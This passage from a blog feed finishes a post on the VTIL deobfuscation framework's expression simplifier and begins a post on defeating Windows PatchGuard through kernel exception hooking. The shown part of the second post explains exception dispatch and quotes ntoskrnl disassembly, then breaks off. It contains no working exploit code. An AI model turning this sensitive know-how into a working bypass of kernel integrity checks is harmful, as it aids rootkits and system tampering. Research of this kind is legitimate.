&lt;h2 id="0x4-classification-of-simplification-directives"&gt;&lt;span class="hx"&gt;0x4:&lt;/span&gt; Classification of simplification directives.&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve implemented a structure that acts like an expression but instead is used for pattern creating purposes so that we can create simplification directives, &lt;code&gt;directive::instance&lt;/code&gt;, there are two major benefits to this choice over hand-written logic:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Directives created in a structured way will let us write verification routines much easier, later on, say using a SMT solver or a simple fuzzer, since we have access to the complete logic of the simplifier described in a structured way.&lt;/li&gt;
&lt;li&gt;All of the directives are in one &lt;a href="https://github.com/vtil-project/VTIL-/blob/master/VTIL-SymEx/simplifier/directives.hpp"&gt;neat and tidy&lt;/a&gt; place where we can manage them easily.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now that we can finally get into writing simplification directives, let&amp;rsquo;s talk about what simplification is.&lt;/p&gt;
&lt;p&gt;Consider &lt;code&gt;~A|~B&lt;/code&gt; vs &lt;code&gt;~(A&amp;amp;B)&lt;/code&gt;, which one is simplified? Say you pick the 2nd one since it has 2 operations vs 3. What about &lt;code&gt;A&amp;amp;(B&amp;lt;&amp;lt;C)&lt;/code&gt; where A is a constant? Do we leave it as is or rewrite as &lt;code&gt;((B&amp;amp;(A&amp;gt;&amp;gt;C))&amp;lt;&amp;lt;C)&lt;/code&gt;, or rather if do not rewrite it, how does one simplify &lt;code&gt;0x40&amp;amp;(ZF&amp;amp;1&amp;lt;&amp;lt;6)&lt;/code&gt; as&lt;code&gt;(ZF&amp;amp;1)&amp;lt;&amp;lt;6&lt;/code&gt; since &lt;code&gt;1&amp;amp;1==1&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;A simple answer to this question, sadly, does not exist. However, we can create an arbitrary definition of a &amp;ldquo;complexity&amp;rdquo; and optimize the reward function created based on it, which will give us a direction to go towards. VTIL&amp;rsquo;s definition of an expression complexity is defined as shown below in equation \eqref{eq:cmplxty}:&lt;/p&gt;
&lt;p&gt;\begin{align} \phi(e) &amp;amp;= \begin{cases} \sqrt{1 + \displaystyle\min(\text{popcnt}\{e, |e|\})} &amp;amp;&amp;amp; \text{if constant} \label{eq:cmplxty} \\ 128 &amp;amp;&amp;amp; \text{if variable} \\ 2^{1+ m}\big[\sum_{i} \phi(e.operands[i]) \big] &amp;amp;&amp;amp; \text{else} \\ \small\text{where $m$ = \# of operands that did not match $e$&amp;rsquo;s bitwise/arithmetic hint.} \end{cases} \\ \end{align}&lt;/p&gt;
&lt;p&gt;Basically this definition of \(\phi(e)\), punishes depth in trees in an exponentially-growing way and prefers constants over variables and smaller constants over huge constants in a way that would not hurt negative constants. I also additionally add a x2 multiplier if the arithmetic / bitwise hints do not match so that for instance &lt;code&gt;NEG&lt;/code&gt; is preferred instead of &lt;code&gt;NOT&lt;/code&gt; when used in an arithmetic expression. We can classify simplifiers in 3 different categories now:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Universal Simplifiers&lt;/strong&gt;&lt;br&gt;
This type of simplification directive will reduce the cost of the expression with no exceptions, what this means is that when we simplify an expression based on any of the directives in this list and recurse, we have no possibility of creating an infinite loop, which makes these the first step of any simplification flow.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Join Directives&lt;/strong&gt;&lt;br&gt;
Join directives basically present alternative forms of directives that may have a positive or a negative effect on the final cost based on the way lower nodes are structured, a great example is &lt;code&gt;A(B&amp;amp;C) =&amp;gt; (A|B)&amp;amp;(A|C)&lt;/code&gt;, this can go both ways, good and bad, based on the full expression, the methods of handling these directives will be discussed when we start discussing them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pack/Unpack Directives&lt;/strong&gt;&lt;br&gt;
Packing directives create very high-level operators from bitwise and arithmetic operators such as the conversion of &lt;code&gt;__if&lt;/code&gt;, this is a great thing for the user-end (a.k.a. compiler-end), but not exactly the best news for the simplifier itself as each additional operator we implement means we need to implement join directives and universal simplifiers for them, which is a lot of work. This class of directives deals with this problem by keeping all expressions unpacked via the unpacking directives, unless explicitly requested by the user to &lt;code&gt;prettify&lt;/code&gt;, which I find to be a very fitting name for simplifications that are not necessarily simple, but preferred by humans and thus code written by them.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;With a quick implementation of a bunch of universal simplifiers, we get the monstrous expression from Section #0x2 into this form:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;(((_ucast(((0x40&amp;amp;~((((((_ucast(D:1, 0x40)&amp;lt;&amp;lt;0xb)|(_ucast(H:1, 0x40)&amp;lt;&amp;lt;0x7))|(_ucast(J:1, 0x40)&amp;lt;&amp;lt;0x6))|(_ucast(B:1, 0x40)&amp;lt;&amp;lt;0x4))|(_ucast(F:1, 0x40)&amp;lt;&amp;lt;0x2))^(((((_ucast(E:1, 0x40)&amp;lt;&amp;lt;0xb)|(_ucast(I:1, 0x40)&amp;lt;&amp;lt;0x7))|((_ucast((_cast(K:1, 0x40)+0x145515abbb), 0x40)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|(_ucast(C:1, 0x40)&amp;lt;&amp;lt;0x4))|(_ucast(G:1, 0x40)&amp;lt;&amp;lt;0x2))))&amp;gt;&amp;gt;0x6), 0x1)?0x14000b964)+(~_ucast(((0x40&amp;amp;~((((((_ucast(D:1, 0x40)&amp;lt;&amp;lt;0xb)|(_ucast(H:1, 0x40)&amp;lt;&amp;lt;0x7))|(_ucast(J:1, 0x40)&amp;lt;&amp;lt;0x6))|(_ucast(B:1, 0x40)&amp;lt;&amp;lt;0x4))|(_ucast(F:1, 0x40)&amp;lt;&amp;lt;0x2))^(((((_ucast(E:1, 0x40)&amp;lt;&amp;lt;0xb)|(_ucast(I:1, 0x40)&amp;lt;&amp;lt;0x7))|((_ucast((_cast(K:1, 0x40)+0x145515abbb), 0x40)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|(_ucast(C:1, 0x40)&amp;lt;&amp;lt;0x4))|(_ucast(G:1, 0x40)&amp;lt;&amp;lt;0x2))))&amp;gt;&amp;gt;0x6), 0x1)?0x14000b6de))+relocation:64)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Not bad!&lt;/p&gt;
&lt;h2 id="0x5-join-directives"&gt;&lt;span class="hx"&gt;0x5:&lt;/span&gt; Join directives.&lt;/h2&gt;
&lt;p&gt;One problem we need to solve before anything with join directives is the cost of building and trying each join directive. I accomplish this by adding two special constructs that change how directives work in general. First one is special directives that grant us the ability to make choices at evaluation time if a specific condition is satisfied which adds 4 essential operators:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Accepting &lt;x&gt; only if it simplifies, &lt;code&gt;!x&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
This becomes useful as it lets us avoid the construction completely if a chosen partition cannot be simplified, avoiding all costs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attempt to simplify &lt;x&gt; before it reaches caller, &lt;code&gt;s(x)&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
This lets us simplify certain bits before the recursive-simplifier starts working again and most importantly before the complexity comparison is made, so we don&amp;rsquo;t get to lose anything by not simplifying before the complexity checks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If and only if, &lt;code&gt;__iff(condition, directive)&lt;/code&gt; and or, &lt;code&gt;__or(x, y)&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
These combined let you have fully conditional output essentially letting you define logic when combined with already existing comparison operators.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access to mask interface from &lt;code&gt;math::bit_vector&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
Accessing the value of \(\\phi^1(v)\), \(\\phi^0(v)\) and \(\\omega(v)\) is an exceptional helper when simplifying bitwise expressions.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Other one is the ability to deny the construction of certain expressions if the directive will not match, which basically speculatively creates the conditional segments of the directives within the &lt;code&gt;directive::match&lt;/code&gt; routine itself. This basically allows for fast verification of directive conditions and thanks to our cache, we do not suffer any drops in speed since 2nd time this directive is built, simplified version will be pulled out of the cache.&lt;/p&gt;
&lt;p&gt;Now we can do complex simplifications like the following, see if you can spot the problem with the last directive.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;__iff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;__iff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;U&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;U&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;U&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;U&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Our last problem is the elimination of infinite-loops, which we have already solved by a previously implemented feature without even noticing.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img src="images/2.webp" alt=""&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;See the problem with this perfectly valid directive?&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Now the directive is technically not as safe as it should be, as it doesn&amp;rsquo;t check if the OR it appends actually has any effect but this is fine. As we&amp;rsquo;ve implemented the directive cache and reference and set it within the routine BEFORE simplification is done, the same expression calling into the &lt;code&gt;::simplify&lt;/code&gt; routine will get a quick simplify failed and be kicked out, so this problem is solved for us&amp;hellip; by us?&lt;/p&gt;
&lt;p&gt;I will, again, implement a bunch of directives of this type and see how the output improves just like the previous section.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;(((0x14000b964&amp;amp;~((0x1&amp;amp;~(_ucast(J:1, 0x40)^_ucast(K:1, 0x40)))+-0x1))+(0x14000b6de&amp;amp;((0x1&amp;amp;~(_ucast(J:1, 0x40)^_ucast(K:1, 0x40)))+-0x1)))+relocation:64)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Quite a decent improvement over the last version again :).&lt;/p&gt;
&lt;h2 id="0x6-prettifying"&gt;&lt;span class="hx"&gt;0x6:&lt;/span&gt; &lt;em&gt;Prettifying&lt;/em&gt;.&lt;/h2&gt;
&lt;p&gt;Now the output of the previous is surely the simplest form it will ever get to, but as human beings, we seem to like pretty expressions, so as the final stage we add a prettyfier, which converts certain groups into high-level functions we understand easier with no real added value. The only trick here is that this flag to &amp;ldquo;&lt;em&gt;prettify&lt;/em&gt;&amp;rdquo;, should not propagate to operands and that after the join stage is done, regardless of the &lt;em&gt;prettify&lt;/em&gt; flag we should attempt to &lt;em&gt;unprettify&lt;/em&gt;. With those two things in mind, we can implement as many high level operators as we can.&lt;/p&gt;
&lt;p&gt;With the simple two-line introduction of the &lt;code&gt;__if&lt;/code&gt; operator, we get the final output of&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;(((~(J:1^K:1)?0x14000b964)+((J:1^K:1)?0x14000b6de))+relocation:64)&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The lesson to learn here is that weeks of work and debugging do not go to waste even when you feel the least hopeful ¯\_(ツ)_/¯.&lt;/p&gt;
&lt;h2 id="-0x10xf8-conclusion"&gt;-0x1^0xF8: Conclusion&lt;/h2&gt;
&lt;p&gt;Surely, there are numerous reasons LLVM keeps getting recommended again and again and again. Getting this kind of complex logic working correctly in stable form takes at least weeks, let alone the fact that ours is a very reduced form. However I still find this challenge really interesting and since this was pretty much the hardest part of it all, given that I already have implemented a lot of instruction-stream optimizations and a complete compiler on my previous project, porting them to VTIL should not take much time and hopefully we will have a great release sometime soon.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; If you feel like reinventing the wheel, go ahead, it&amp;rsquo;s fun. But you can always contribute to LLVM VTIL instead, why bother reinventing the wheel? /s&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;P.S.:&lt;/strong&gt; I&amp;rsquo;d like to thank &lt;a href="https://twitter.com/daax_rynd"&gt;@daax_rynd&lt;/a&gt; and &lt;a href="https://twitter.com/vm_call"&gt;@vm_call&lt;/a&gt; for the mental support they have provided during this rough time.&lt;/p&gt;</description></item><item><title>ByePg: Defeating Patchguard using Exception-hooking</title><link>https://blog.can.ac/2019/10/19/byepg-defeating-patchguard-using-exception-hooking/</link><pubDate>Sat, 19 Oct 2019 00:00:00 +0000</pubDate><guid>https://blog.can.ac/2019/10/19/byepg-defeating-patchguard-using-exception-hooking/</guid><description>&lt;p&gt;Now I know what you are thinking, exception hooks? &amp;hellip;in kernel-mode? Yes, it is certainly is not as easy as a mere call to kernel32!AddVectoredExceptionHandler, but with some thinking out of the box we actually can implement a system-wide exception handler. As much as Microsoft wants you to forget, filling WDK with abstractions over abstractions, frightening you with their fearsome guard dog PatchGuard barking at anything and everything, your driver is executing in kernel-mode. That is as high as the privileges get without a hypervisor.&lt;/p&gt;
&lt;p&gt;The trick is to remember that exception handlers, system call routines, thread scheduling, anything you can imagine is implemented by an image called ntoskrnl.exe, executed and mapped at the same level as your code.&lt;/p&gt;
&lt;h2 id="0x0-birth-of-an-exception"&gt;&lt;span class="hx"&gt;0x0:&lt;/span&gt; Birth of an exception&lt;/h2&gt;
&lt;p&gt;Each hardware exception has an interrupt dispatch table index associated with it. Entry handling page faults is at index 0xE, breakpoints at 0x3 and so on. When the processor encounters an exception during the execution, it disables interrupts, sets the code segment according to the entry, if the interrupted routine was running in user-mode fetches the kernel stack pointer from TSS.RSP0, otherwise either 16-byte aligns the current RSP or fetches it from interrupt stack table as requested by the entry. After this is done it pushes the previous SS:RSP, EFLAGS, CS:RIP and optionally an error code to the new stack and jumpts to the interrupt service routine.&lt;/p&gt;
&lt;p&gt;The processor&amp;rsquo;s work is pretty much done at this point and control is handed to ntoskrnl which allocates a KTRAP_FRAME in the stack, handles the mode switch if relevant and saves certain registers and processor-states such as MxCsr. The handling after this stage is exception-dependent but mostly ends up either at KiExceptionDispatch or KiBugCheckDispatch. KiDebugTrapOrFault and KiDoubleFaultAbort would be good examples respectively.&lt;/p&gt;
&lt;p&gt;Now let&amp;rsquo;s move on to analysing both control flows in terms of how they handle an exception, specifically a kernel-mode one as we are mainly concerned about catching kernel-mode exceptions. I&amp;rsquo;ll be using a relatively old ntoskrnl.exe sample from Windows 8 as it contains less mitigation-related boilerplate.&lt;/p&gt;
&lt;h2 id="0x11-kiexceptiondispatch-aka-"&gt;0x1.1: KiExceptionDispatch a.k.a. &lt;a href="https://emojipedia.org/thinking-face/"&gt;🤔&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Like most interrupt handling related functions in ntoskrnl, KiExceptionDispatch takes an implicit argument Rbp pointing at KTRAP_FRAME + FrameSize (128 bytes), an exception code in Ecx, number of parameters in Edx, and exception address in R8.&lt;/p&gt;
&lt;p&gt;It starts by allocating and (partially) filling a KEXCEPTION_FRAME structure; essentially saving the non-volatile registers as seen below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA80&lt;/span&gt; &lt;span class="no"&gt;KiExceptionDispatch&lt;/span&gt; &lt;span class="no"&gt;proc&lt;/span&gt; &lt;span class="no"&gt;near&lt;/span&gt; &lt;span class="c1"&gt;; CODE XREF: KiDivideErrorFault+EF
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA80&lt;/span&gt; &lt;span class="c1"&gt;; KiDebugTrapOrFault+19D ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA80&lt;/span&gt; &lt;span class="no"&gt;sub&lt;/span&gt; &lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;D8h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA87&lt;/span&gt; &lt;span class="no"&gt;lea&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;D8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_D8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA8F&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;D8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_1A8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA94&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;D8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_198&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm7&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA99&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;D8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_188&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA9F&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;D8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_178&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm9&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EAA5&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;D8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_168&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EAAB&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-80h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm11&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EAB0&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-70h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm12&lt;/span&gt;
